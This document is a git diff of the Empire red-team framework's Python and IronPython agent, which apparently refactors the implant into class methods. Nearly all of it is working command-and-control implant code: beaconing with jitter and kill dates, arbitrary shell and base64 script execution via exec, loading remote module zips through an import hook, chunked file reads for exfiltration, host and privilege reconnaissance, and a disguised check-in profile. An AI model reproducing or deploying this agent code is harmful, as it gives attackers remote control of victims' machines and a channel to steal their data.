- if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral):
- return a // b
- else:
- return a / b
-
-
-################################################
-#
-# Custom Import Hook
-# #adapted from https://github.com/sulinx/remote_importer
-#
-################################################
-
-# [0] = .py ext, is_package = False
-# [1] = /__init__.py ext, is_package = True
-_search_order = [(".py", False), ("/__init__.py", True)]
-
-
-class ZipImportError(ImportError):
- """Exception raised by zipimporter objects."""
-
- pass
-
-
-# _get_info() = takes the fullname, then subpackage name (if applicable),
-# and searches for the respective module or package
-
-
-class CFinder(object):
- """Import Hook for Empire"""
-
- def __init__(self, repoName):
- self.repoName = repoName
-
- def _get_info(self, repoName, fullname):
- """Search for the respective package or module in the zipfile object"""
- parts = fullname.split(".")
- submodule = parts[-1]
- modulepath = "/".join(parts)
-
- # check to see if that specific module exists
- for suffix, is_package in _search_order:
- relpath = modulepath + suffix
- try:
- moduleRepo[repoName].getinfo(relpath)
- except KeyError:
- pass
- else:
- return submodule, is_package, relpath
-
- # Error out if we can find the module/package
- msg = "Unable to locate module %s in the %s repo" % (submodule, repoName)
- raise ZipImportError(msg)
-
- def _get_source(self, repoName, fullname):
- """Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = "%s/%s" % (repoName, relpath)
- source = moduleRepo[repoName].read(relpath)
- source = source.replace("\r\n", "\n")
- source = source.replace("\r", "\n")
- return submodule, is_package, fullpath, source
-
- def find_module(self, fullname, path=None):
-
- try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
- except ImportError:
- return None
- else:
- return self
-
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(
- self.repoName, fullname
- )
- code = compile(source, fullpath, "exec")
- mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
- if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code, mod.__dict__)
- return mod
-
- def get_data(self, fullpath):
-
- prefix = os.path.join(self.repoName, "")
- if not fullpath.startswith(prefix):
- raise IOError(
- "Path %r does not start with module name %r", (fullpath, prefix)
- )
- relpath = fullpath[len(prefix) :]
- try:
- return moduleRepo[self.repoName].read(relpath)
- except KeyError:
- raise IOError("Path %r not found in repo %r" % (relpath, self.repoName))
-
- def is_package(self, fullname):
- """Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
- return is_package
-
- def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(
- self.repoName, fullname
- )
- return compile(source, fullpath, "exec")
-
- def install_hook(repoName):
- if repoName not in _meta_cache:
- finder = CFinder(repoName)
- _meta_cache[repoName] = finder
- sys.meta_path.append(finder)
-
- def remove_hook(repoName):
- if repoName in _meta_cache:
- finder = _meta_cache.pop(repoName)
- sys.meta_path.remove(finder)
-
-
-################################################
-#
-# misc methods
-#
-################################################
-class compress(object):
- """
- Base clase for init of the package. This will handle
- the initial object creation for conducting basic functions.
- """
-
- CRC_HSIZE = 4
- COMP_RATIO = 9
-
- def __init__(self, verbose=False):
- """
- Populates init.
- """
- pass
-
- def comp_data(self, data, cvalue=COMP_RATIO):
- """
- Takes in a string and computes
- the comp obj.
- data = string wanting compression
- cvalue = 0-9 comp value (default 6)
- """
- cdata = zlib.compress(data, cvalue)
- return cdata
-
- def crc32_data(self, data):
- """
- Takes in a string and computes crc32 value.
- data = string before compression
- returns:
- HEX bytes of data
- """
- crc = zlib.crc32(data) & 0xFFFFFFFF
- return crc
-
- def build_header(self, data, crc):
+ def powershell_task(self, data, resultID):
"""
- Takes comp data, org crc32 value,
- and adds self header.
- data = comp data
- crc = crc32 value
+ Execute a PowerShell command.
+ Task 112
"""
- header = struct.pack("!I", crc)
- built_data = header + data
- return built_data
-
-
-class decompress(object):
- """
- Base clase for init of the package. This will handle
- the initial object creation for conducting basic functions.
- """
-
- CRC_HSIZE = 4
- COMP_RATIO = 9
+ result_packet = self.packet_handler.build_response_packet(110, "[!] PowerShell tasks not implemented", resultID)
+ self.packet_handler.process_job_tasking(result_packet)
- def __init__(self, verbose=False):
+ def powershell_task_dyanmic_code_wait_nosave(self, data, resultID):
"""
- Populates init.
+ Execute a PowerShell command and wait for the results without saving output.
+ Task 118
"""
- pass
+ result_packet = self.packet_handler.build_response_packet(110, "[!] PowerShell tasks not implemented", resultID)
+ self.packet_handler.process_job_tasking(result_packet)
- def dec_data(self, data, cheader=True):
+ def script_command(self, data, resultID):
"""
- Takes:
- Custom / standard header data
- data = comp data with zlib header
- BOOL cheader = passing custom crc32 header
- returns:
- dict with crc32 cheack and dec data string
- ex. {"crc32" : true, "dec_data" : "-SNIP-"}
+ Execute a base64 encoded script.
+ Task 121
"""
- if cheader:
- comp_crc32 = struct.unpack("!I", data[: self.CRC_HSIZE])[0]
- dec_data = zlib.decompress(data[self.CRC_HSIZE :])
- dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF
- if comp_crc32 == dec_crc32:
- crc32 = True
- else:
- crc32 = False
- return {
- "header_crc32": comp_crc32,
- "dec_crc32": dec_crc32,
- "crc32_check": crc32,
- "data": dec_data,
- }
- else:
- dec_data = zlib.decompress(data)
- return dec_data
-
-
-def agent_exit():
- # exit for proper job / thread cleanup
- if len(jobs) > 0:
+ script = base64.b64decode(data)
try:
- for x in jobs:
- jobs[x].kill()
- jobs.pop(x)
- except:
- # die hard if thread kill fails
- pass
- exit()
-
-
-def indent(lines, amount=4, ch=" "):
- padding = amount * ch
- return padding + ("\n" + padding).join(lines.split("\n"))
-
-
-# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python
-class ThreadWithReturnValue(Thread):
- def __init__(
- self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None
- ):
- Thread.__init__(self, group, target, name, args, kwargs, Verbose)
- self._return = None
-
- def run(self):
- if self._Thread__target is not None:
- self._return = self._Thread__target(
- *self._Thread__args, **self._Thread__kwargs
+ buffer = StringIO()
+ sys.stdout = buffer
+ code_obj = compile(script, "", "exec")
+ exec(code_obj, globals())
+ sys.stdout = sys.__stdout__
+ result = str(buffer.getvalue())
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(121, result, resultID))
+ except Exception as e:
+ errorData = str(buffer.getvalue())
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 0,
+ "error executing specified Python data %s \nBuffer data recovered:\n%s"
+ % (e, errorData),
+ resultID,
+ )
)
- def join(self):
- Thread.join(self)
- return self._return
-
-
-class KThread(threading.Thread):
- """A subclass of threading.Thread, with a kill()
- method."""
-
- def __init__(self, *args, **keywords):
- threading.Thread.__init__(self, *args, **keywords)
- self.killed = False
+ def script_load(self, data, resultID):
+ """
+ Load a script into memory.
+ Task 122
+ """
+ try:
+ parts = data.split("|")
+ base64part = parts[1]
+ fileName = parts[0]
+ raw = base64.b64decode(base64part)
+ d = decompress()
+ dec_data = d.dec_data(raw, cheader=True)
+ if not dec_data["crc32_check"]:
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 122, "Failed crc32_check during decompression", resultID
+ )
+ )
+ except Exception as e:
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 122, "Unable to decompress zip file: %s" % (e), resultID
+ )
+ )
- def start(self):
- """Start the thread."""
- self.__run_backup = self.run
- self.run = self.__run # Force the Thread to install our trace.
- threading.Thread.start(self)
+ zdata = dec_data["data"]
+ zf = zipfile.ZipFile(io.BytesIO(zdata), "r")
+ if fileName in list(moduleRepo.keys()):
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 122, "%s module already exists" % (fileName), resultID
+ )
+ )
+ else:
+ moduleRepo[fileName] = zf
+ self.install_hook(fileName)
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 122, "Successfully imported %s" % (fileName), resultID
+ )
+ )
- def __run(self):
- """Hacked run function, which installs the
- trace."""
- sys.settrace(self.globaltrace)
- self.__run_backup()
- self.run = self.__run_backup
+ def view_loaded_modules(self, data, resultID):
+ """
+ View loaded modules.
+ Task 123
+ """
+ # view loaded modules
+ repoName = data
+ if repoName == "":
+ loadedModules = "\nAll Repos\n"
+ for key, value in list(moduleRepo.items()):
+ loadedModules += "\n----" + key + "----\n"
+ loadedModules += "\n".join(moduleRepo[key].namelist())
- def globaltrace(self, frame, why, arg):
- if why == "call":
- return self.localtrace
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID))
else:
- return None
+ try:
+ loadedModules = "\n----" + repoName + "----\n"
+ loadedModules += "\n".join(moduleRepo[repoName].namelist())
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID))
+ except Exception as e:
+ msg = "Unable to retrieve repo contents: %s" % (str(e))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(123, msg, resultID))
- def localtrace(self, frame, why, arg):
- if self.killed:
- if why == "line":
- raise SystemExit()
- return self.localtrace
+ def remove_module(self, data, resultID):
+ """
+ Remove a module.
+ """
+ repoName = data
+ try:
+ self.remove_hook(repoName)
+ del moduleRepo[repoName]
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 124, "Successfully remove repo: %s" % (repoName), resultID
+ )
+ )
+ except Exception as e:
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID
+ )
+ )
- def kill(self):
- self.killed = True
+ def start_job(self, code, resultID):
+ # create a new code block with a defined method name
+ codeBlock = "def method():\n" + indent(code[1:])
+
+ # register the code block
+ code_obj = compile(codeBlock, "", "exec")
+ # code needs to be in the global listing
+ # not the locals() scope
+ exec(code_obj, globals())
+ # create/process Packet start/return the thread
+ # call the job_func so sys data can be captured
+ codeThread = KThread(target=self.job_func, args=(resultID,))
+ codeThread.start()
-def start_job(code, resultID):
- global jobs
+ self.jobs[resultID] = codeThread
- # create a new code block with a defined method name
- codeBlock = "def method():\n" + indent(code)
+ def job_func(self, resultID):
+ try:
+ buffer = StringIO()
+ sys.stdout = buffer
+ # now call the function required
+ # and capture the output via sys
+ method()
+ sys.stdout = sys.__stdout__
+ dataStats_2 = buffer.getvalue()
+ result = self.packet_handler.build_response_packet(110, str(dataStats_2), resultID)
+ self.packet_handler.process_job_tasking(result)
+ except Exception as e:
+ p = "error executing specified Python job data: " + str(e)
+ result = self.packet_handler.build_response_packet(0, p, resultID)
+ self.packet_handler.process_job_tasking(result)
- # register the code block
- code_obj = compile(codeBlock, "", "exec")
- # code needs to be in the global listing
- # not the locals() scope
- exec(code_obj, globals())
+ def job_message_buffer(self, message):
+ # Supports job messages for checkin
+ try:
+ self.jobMessageBuffer += str(message)
+ except Exception as e:
+ print(e)
- # create/process Packet start/return the thread
- # call the job_func so sys data can be captured
- codeThread = KThread(target=job_func, args=(resultID,))
- codeThread.start()
+ def get_job_message_buffer(self):
+ try:
+ result = self.packet_handler.build_response_packet(110, str(self.jobMessageBuffer))
+ self.jobMessageBuffer = ""
+ return result
+ except Exception as e:
+ return self.packet_handler.build_response_packet(0, "[!] Error getting job output: %s" % (e))
- jobs[resultID] = codeThread
+ def start_webserver(self, data, ip, port, serveCount):
+ # thread data_webserver for execution
+ t = threading.Thread(target=self.data_webserver, args=(data, ip, port, serveCount))
+ t.start()
+ return
+ def data_webserver(self, data, ip, port, serveCount):
+ # hosts a file on port and IP servers data string
+ hostName = str(ip)
+ portNumber = int(port)
+ data = str(data)
+ serveCount = int(serveCount)
+ count = 0
+
+ class serverHandler(http.server.BaseHTTPRequestHandler):
+ def do_GET(s):
+ """Respond to a GET request."""
+ s.send_response(200)
+ s.send_header("Content-type", "text/html")
+ s.end_headers()
+ s.wfile.write(data)
+
+ def log_message(s, format, *args):
+ return
+
+ server_class = http.server.HTTPServer
+ httpServer = server_class((hostName, portNumber), serverHandler)
+ try:
+ while count < serveCount:
+ httpServer.handle_request()
+ count += 1
+ except:
+ pass
+ httpServer.server_close()
+ return
-def job_func(resultID):
- try:
- buffer = StringIO()
- sys.stdout = buffer
- # now call the function required
- # and capture the output via sys
- method()
- sys.stdout = sys.__stdout__
- dataStats_2 = buffer.getvalue()
- result = build_response_packet(110, str(dataStats_2), resultID)
- process_job_tasking(result)
- except Exception as e:
- p = "error executing specified Python job data: " + str(e)
- result = build_response_packet(0, p, resultID)
- process_job_tasking(result)
+ def permissions_to_unix_name(self, st_mode):
+ permstr = ""
+ usertypes = ["USR", "GRP", "OTH"]
+ for usertype in usertypes:
+ perm_types = ["R", "W", "X"]
+ for permtype in perm_types:
+ perm = getattr(stat, "S_I%s%s" % (permtype, usertype))
+ if st_mode & perm:
+ permstr += permtype.lower()
+ else:
+ permstr += "-"
+ return permstr
+
+ def directory_listing(self, path):
+ # directory listings in python
+ # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html
+
+ res = ""
+ for fn in os.listdir(path):
+ fstat = os.stat(os.path.join(path, fn))
+ permstr = self.permissions_to_unix_name(fstat[0])
+
+ if os.path.isdir(fn):
+ permstr = "d{}".format(permstr)
+ else:
+ permstr = "-{}".format(permstr)
+ user = pwd.getpwuid(fstat.st_uid)[0]
+ group = grp.getgrgid(fstat.st_gid)[0]
-def job_message_buffer(message):
- # Supports job messages for checkin
- global jobMessageBuffer
- try:
+ # Convert file size to MB, KB or Bytes
+ fsize = fstat.st_size
+ unit = "B"
- jobMessageBuffer += str(message)
- except Exception as e:
- print(e)
+ if fsize > 1024:
+ fsize >>= 10
+ unit = "KB"
+ if fsize > 1024:
+ fsize >>= 10
+ unit = "MB"
-def get_job_message_buffer():
- global jobMessageBuffer
- try:
- result = build_response_packet(110, str(jobMessageBuffer))
- jobMessageBuffer = ""
- return result
- except Exception as e:
- return build_response_packet(0, "[!] Error getting job output: %s" % (e))
+ mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
+ res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format(
+ permstr, user, group, mtime, fsize, unit, fn
+ )
-def send_job_message_buffer():
- if len(jobs) > 0:
- result = get_job_message_buffer()
- process_job_tasking(result)
- else:
- pass
+ return res
+ # additional implementation methods
+ def run_command(self, command, cmdargs=None):
+ if command == "shell":
+ if cmdargs is None:
+ return "no shell command supplied"
-def start_webserver(data, ip, port, serveCount):
- # thread data_webserver for execution
- t = threading.Thread(target=data_webserver, args=(data, ip, port, serveCount))
- t.start()
- return
-
-
-def data_webserver(data, ip, port, serveCount):
- # hosts a file on port and IP servers data string
- hostName = str(ip)
- portNumber = int(port)
- data = str(data)
- serveCount = int(serveCount)
- count = 0
-
- class serverHandler(http.server.BaseHTTPRequestHandler):
- def do_GET(s):
- """Respond to a GET request."""
- s.send_response(200)
- s.send_header("Content-type", "text/html")
- s.end_headers()
- s.wfile.write(data)
-
- def log_message(s, format, *args):
- return
-
- server_class = http.server.HTTPServer
- httpServer = server_class((hostName, portNumber), serverHandler)
- try:
- while count < serveCount:
- httpServer.handle_request()
- count += 1
- except:
- pass
- httpServer.server_close()
- return
-
-
-def permissions_to_unix_name(st_mode):
- permstr = ""
- usertypes = ["USR", "GRP", "OTH"]
- for usertype in usertypes:
- perm_types = ["R", "W", "X"]
- for permtype in perm_types:
- perm = getattr(stat, "S_I%s%s" % (permtype, usertype))
- if st_mode & perm:
- permstr += permtype.lower()
+ p = subprocess.Popen(
+ cmdargs,
+ stdin=None,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.STDOUT,
+ shell=True,
+ )
+ return p.communicate()[0].strip().decode("UTF-8")
+ elif re.compile("(ls|dir)").match(command):
+ if cmdargs == None or not os.path.exists(cmdargs):
+ cmdargs = "."
+
+ return self.directory_listing(cmdargs)
+ elif re.compile("cd").match(command):
+ os.chdir(cmdargs)
+ return str(os.getcwd())
+ elif re.compile("pwd").match(command):
+ return str(os.getcwd())
+ elif re.compile("rm").match(command):
+ if cmdargs is None:
+ return "please provide a file or directory"
+
+ if os.path.exists(cmdargs):
+ if os.path.isfile(cmdargs):
+ os.remove(cmdargs)
+ return "done."
+ elif os.path.isdir(cmdargs):
+ shutil.rmtree(cmdargs)
+ return "done."
+ else:
+ return "unsupported file type"
else:
- permstr += "-"
- return permstr
+ return "specified file/directory does not exist"
+ elif re.compile("mkdir").match(command):
+ if cmdargs is None:
+ return "please provide a directory"
+ os.mkdir(cmdargs)
+ return "Created directory: {}".format(cmdargs)
-def directory_listing(path):
- # directory listings in python
- # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html
+ elif re.compile("(whoami|getuid)").match(command):
+ return pwd.getpwuid(os.getuid())[0]
- res = ""
- for fn in os.listdir(path):
- fstat = os.stat(os.path.join(path, fn))
- permstr = permissions_to_unix_name(fstat[0])
+ elif re.compile("hostname").match(command):
+ return str(socket.gethostname())
- if os.path.isdir(fn):
- permstr = "d{}".format(permstr)
else:
- permstr = "-{}".format(permstr)
+ if cmdargs is not None:
+ command = "{} {}".format(command, cmdargs)
+
+ p = subprocess.Popen(
+ command,
+ stdin=None,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.STDOUT,
+ shell=True,
+ )
+ return p.communicate()[0].strip().decode("UTF-8")
+
+ def get_file_part(self, filePath, offset=0, chunkSize=512000, base64=True):
+ if not os.path.exists(filePath):
+ return ""
+
+ f = open(filePath, "rb")
+ f.seek(offset, 0)
+ data = f.read(chunkSize)
+ f.close()
+ if base64:
+ return base64.b64encode(data)
+ else:
+ return data
- user = pwd.getpwuid(fstat.st_uid)[0]
- group = grp.getgrgid(fstat.st_gid)[0]
+ def get_sysinfo(self, server, nonce='00000000'):
+ # NOTE: requires global variable "server" to be set
- # Convert file size to MB, KB or Bytes
- fsize = fstat.st_size
- unit = "B"
+ # nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version | architecture
+ __FAILED_FUNCTION = '[FAILED QUERY]'
- if fsize > 1024:
- fsize >>= 10
- unit = "KB"
+ try:
+ username = pwd.getpwuid(os.getuid())[0].strip("\\")
+ except Exception as e:
+ username = __FAILED_FUNCTION
+ try:
+ uid = os.popen('id -u').read().strip()
+ except Exception as e:
+ uid = __FAILED_FUNCTION
+ try:
+ highIntegrity = "True" if (uid == "0") else False
+ except Exception as e:
+ highIntegrity = __FAILED_FUNCTION
+ try:
+ osDetails = os.uname()
+ except:
+ osDetails = __FAILED_FUNCTION
+ try:
+ processID = os.getpid()
+ except Exception as e:
+ processID = __FAILED_FUNCTION
+ try:
+ hostname = osDetails[1]
+ except Exception as e:
+ hostname = __FAILED_FUNCTION
+ try:
+ internalIP = socket.gethostbyname(socket.gethostname())
+ except Exception as e:
+ try:
+ internalIP = os.popen("ifconfig|grep inet|grep inet6 -v|grep -v 127.0.0.1|cut -d' ' -f2").read()
+ except Exception as e1:
+ internalIP = __FAILED_FUNCTION
+ try:
+ osDetails = ",".join(osDetails)
+ except Exception as e:
+ osDetails = __FAILED_FUNCTION
+ try:
+ temp = sys.version_info
+ pyVersion = "%s.%s" % (temp[0], temp[1])
+ except Exception as e:
+ pyVersion = __FAILED_FUNCTION
+ try:
+ architecture = platform.machine()
+ except Exception as e:
+ architecture = __FAILED_FUNCTION
+
+ language = 'python'
+ cmd = 'ps %s' % (os.getpid())
+ ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ out, err = ps.communicate()
+ parts = out.split(b"\n")
+ if len(parts) > 2:
+ processName = b" ".join(parts[1].split()[4:]).decode('UTF-8')
+ else:
+ processName = 'python'
+ return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (
+ nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language,
+ pyVersion, architecture)
- if fsize > 1024:
- fsize >>= 10
- unit = "MB"
+ def process_packet(self, packetType, data, resultID):
+ try:
+ packetType = int(packetType)
+ except Exception as e:
+ return None
- mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
+ if packetType == 1:
+ # sysinfo request
+ # get_sysinfo should be exposed from stager.py
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(1, self.get_sysinfo(server=self.server), resultID))
- res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format(
- permstr, user, group, mtime, fsize, unit, fn
- )
+ elif packetType == 2:
+ # agent exit
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(2, "", resultID))
+ self.agent_exit()
- return res
+ elif packetType == 34:
+ # TASK_SET_PROXY
+ pass
+ elif packetType == 40:
+ self.run_prebuilt_command(data, resultID)
-# additional implementation methods
-def run_command(command, cmdargs=None):
- if command == "shell":
- if cmdargs is None:
- return "no shell command supplied"
+ elif packetType == 41:
+ self.file_download(data, resultID)
- p = subprocess.Popen(
- cmdargs,
- stdin=None,
- stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT,
- shell=True,
- )
- return p.communicate()[0].strip().decode("UTF-8")
- elif re.compile("(ls|dir)").match(command):
- if cmdargs == None or not os.path.exists(cmdargs):
- cmdargs = "."
-
- return directory_listing(cmdargs)
- elif re.compile("cd").match(command):
- os.chdir(cmdargs)
- return str(os.getcwd())
- elif re.compile("pwd").match(command):
- return str(os.getcwd())
- elif re.compile("rm").match(command):
- if cmdargs is None:
- return "please provide a file or directory"
-
- if os.path.exists(cmdargs):
- if os.path.isfile(cmdargs):
- os.remove(cmdargs)
- return "done."
- elif os.path.isdir(cmdargs):
- shutil.rmtree(cmdargs)
- return "done."
- else:
- return "unsupported file type"
- else:
- return "specified file/directory does not exist"
- elif re.compile("mkdir").match(command):
- if cmdargs is None:
- return "please provide a directory"
+ elif packetType == 42:
+ self.file_upload(data, resultID)
- os.mkdir(cmdargs)
- return "Created directory: {}".format(cmdargs)
+ elif packetType == 43:
+ self.directory_list(data, resultID)
- elif re.compile("(whoami|getuid)").match(command):
- return pwd.getpwuid(os.getuid())[0]
+ elif packetType == 44:
+ self.csharp_execute(data, resultID)
- elif re.compile("hostname").match(command):
- return str(socket.gethostname())
+ elif packetType == 50:
+ self.job_list(resultID)
- else:
- if cmdargs is not None:
- command = "{} {}".format(command, cmdargs)
-
- p = subprocess.Popen(
- command,
- stdin=None,
- stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT,
- shell=True,
- )
- return p.communicate()[0].strip().decode("UTF-8")
+ elif packetType == 51:
+ self.stop_job(data, resultID)
+ elif packetType == 60:
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 0, "[!] SOCKS Server not implemented", resultID
+ )
+ )
-def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
- if not os.path.exists(filePath):
- return ""
+ elif packetType == 61:
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 0, "[!] SOCKS Server not implemented", resultID
+ )
+ )
- f = open(filePath, "rb")
- f.seek(offset, 0)
- data = f.read(chunkSize)
- f.close()
- if base64:
- return base64.b64encode(data)
- else:
- return data
+ elif packetType == 70:
+ self.start_smb_pipe_server(data, resultID)
+ elif packetType == 100:
+ self.dynamic_code_execute_wait_nosave(data, resultID)
-def sleep_time(jitter):
- # Determines the random sleep duration using the delay and jitter
- if jitter < 0:
- jitter = -jitter
- if jitter > 1:
- jitter = old_div(1, jitter)
+ elif packetType == 101:
+ self.dynamic_code_execution_wait_save(data, resultID)
- minSleep = int((1.0 - jitter) * delay)
- maxSleep = int((1.0 + jitter) * delay)
- return random.randint(minSleep, maxSleep)
+ elif packetType == 102:
+ self.disk_code_execution_wait_save(data, resultID)
+ elif packetType == 110:
+ self.start_job(data, resultID)
-################################################
-#
-# main agent functionality
-#
-################################################
+ elif packetType == 111:
+ # TASK_CMD_JOB_SAVE
+ pass
-while True:
- try:
- if workingHours != "" and "WORKINGHOURS" not in workingHours:
- try:
- start, end = workingHours.split("-")
- now = datetime.datetime.now()
- startTime = datetime.datetime.strptime(start, "%H:%M")
- endTime = datetime.datetime.strptime(end, "%H:%M")
+ elif packetType == 112:
+ self.powershell_task(data, resultID)
- if not (startTime <= now <= endTime):
- sleepTime = startTime - now
- # sleep until the start of the next window
- time.sleep(sleepTime.seconds)
+ elif packetType == 118:
+ self.powershell_task_dyanmic_code_wait_nosave(data, resultID)
- except Exception as e:
- pass
+ elif packetType == 119:
+ pass
- # check if we're past the killdate for this agent
- # killDate form -> MO/DAY/YEAR
- if killDate != "" and "KILLDATE" not in killDate:
- now = datetime.datetime.now().date()
- try:
- killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date()
- except:
- pass
+ elif packetType == 121:
+ self.script_command(data, resultID)
- if now >= killDateTime:
- msg = "[!] Agent %s exiting" % (sessionID)
- send_message(build_response_packet(2, msg))
- agent_exit()
+ elif packetType == 122:
+ self.script_load(data, resultID)
- # exit if we miss commnicating with the server enough times
- if missedCheckins >= lostLimit:
- agent_exit()
+ elif packetType == 123:
+ self.view_loaded_modules(data, resultID)
- # sleep for the randomized interval
- time.sleep(sleep_time(jitter))
+ elif packetType == 124:
+ self.remove_module(data, resultID)
- (code, data) = send_message()
+ elif packetType == 130:
+ # Dynamically update agent comms
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 0, "[!] Switch agent comms not implemented", resultID
+ )
+ )
- if code == "200":
- try:
- send_job_message_buffer()
- except Exception as e:
- result = build_response_packet(
- 0, str("[!] Failed to check job buffer!: " + str(e))
+ elif packetType == 131:
+ # Update the listener name variable
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 0, "[!] Switch agent comms not implemented", resultID
)
- process_job_tasking(result)
- if data.strip() == defaultResponse.strip():
- missedCheckins = 0
- else:
- decode_routing_packet(data)
+ )
+
else:
- pass
- # print "invalid code:",code
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID)
+ )
- except Exception as e:
- print("main() exception: %s" % (e))
\ No newline at end of file
+ def run(self):
+ while True:
+ try:
+ if self.working_hours and "WORKINGHOURS" not in self.working_hours:
+ try:
+ start, end = self.working_hours.split("-")
+ now = datetime.datetime.now()
+ startTime = datetime.datetime.strptime(start, "%H:%M")
+ endTime = datetime.datetime.strptime(end, "%H:%M")
+
+ if not (startTime <= now <= endTime):
+ sleepTime = startTime - now
+ time.sleep(sleepTime.seconds)
+
+ except Exception as e:
+ pass
+
+ if self.kill_date and "KILLDATE" not in self.kill_date:
+ now = datetime.datetime.now().date()
+ try:
+ kill_date_time = datetime.datetime.strptime(self.kill_date, "%m/%d/%Y").date()
+ except:
+ pass
+
+ if now >= kill_date_time:
+ msg = "[!] Agent %s exiting" % (self.sessionID)
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(2, msg))
+ self.agent_exit()
+
+ if self.packet_handler.missedCheckins >= self.lostLimit:
+ self.agent_exit()
+
+ if self.jitter < 0:
+ self.jitter = -self.jitter
+ if self.jitter > 1:
+ self.jitter = 1 / self.jitter
+
+ minSleep = int((1.0 - self.jitter) * self.delay)
+ maxSleep = int((1.0 + self.jitter) * self.delay)
+
+ sleepTime = random.randint(minSleep, maxSleep)
+ time.sleep(sleepTime)
+
+ code, data = self.packet_handler.send_message()
+
+ if code == "200":
+ try:
+ self.send_job_message_buffer()
+ except Exception as e:
+ result = self.packet_handler.build_response_packet(
+ 0, str("[!] Failed to check job buffer!: " + str(e))
+ )
+ self.packet_handler.process_job_tasking(result)
+
+ if data.strip() == self.defaultResponse.strip() or data == base64.b64encode(self.defaultResponse):
+ self.packet_handler.missedCheckins = 0
+ else:
+ self.packet_handler.decode_routing_packet(data)
+ else:
+ pass
+
+ except Exception as e:
+ print("main() exception: %s" % (e))
+ traceback.print_exc()
diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py
index 3bcdc0e8a..6a54dd5dd 100644
--- a/empire/server/data/agent/ironpython_agent.py
+++ b/empire/server/data/agent/ironpython_agent.py
@@ -6,6 +6,7 @@
import math
import numbers
import os
+import platform
import queue as Queue
import random
import re
@@ -17,6 +18,7 @@
import sys
import threading
import time
+import traceback
import types
import zipfile
import zlib
@@ -28,6 +30,9 @@
import secretsocks
import System
from System import Environment
+from System.Diagnostics import Process
+from System.Security.Principal import (WindowsBuiltInRole, WindowsIdentity,
+ WindowsPrincipal)
clr.AddReference("System.Management.Automation")
from System.Management.Automation import Runspaces
@@ -37,283 +42,432 @@
# agent configuration information
#
################################################
+moduleRepo = {}
+_meta_cache = {}
+
+
+def old_div(a, b):
+ """
+ Equivalent to ``a / b`` on Python 2 without ``from __future__ import
+ division``.
+ """
+ if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral):
+ return a // b
+ else:
+ return a / b
+
+
+################################################
+#
+# Custom Import Hook
+# #adapted from https://github.com/sulinx/remote_importer
+#
+################################################
-# print "starting agent"
+# [0] = .py ext, is_package = False
+# [1] = /__init__.py ext, is_package = True
+_search_order = [(".py", False), ("/__init__.py", True)]
-# profile format ->
-# tasking uris | user agent | additional header 1 | additional header 2 | ...
-profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
-if server.endswith("/"):
- server = server[0:-1]
+class ZipImportError(ImportError):
+ """Exception raised by zipimporter objects."""
-delay = 60
-jitter = 0.0
-lostLimit = 60
-missedCheckins = 0
-jobMessageBuffer = ""
-currentListenerName = ""
-sendMsgFuncCode = ""
-proxy_list = []
-_socksthread = None
-_socksqueue = None
+ pass
-# killDate form -> "MO/DAY/YEAR"
-killDate = "REPLACE_KILLDATE"
-# workingHours form -> "9:00-17:00"
-workingHours = "REPLACE_WORKINGHOURS"
-parts = profile.split("|")
-taskURIs = parts[0].split(",")
-userAgent = parts[1]
-headersRaw = parts[2:]
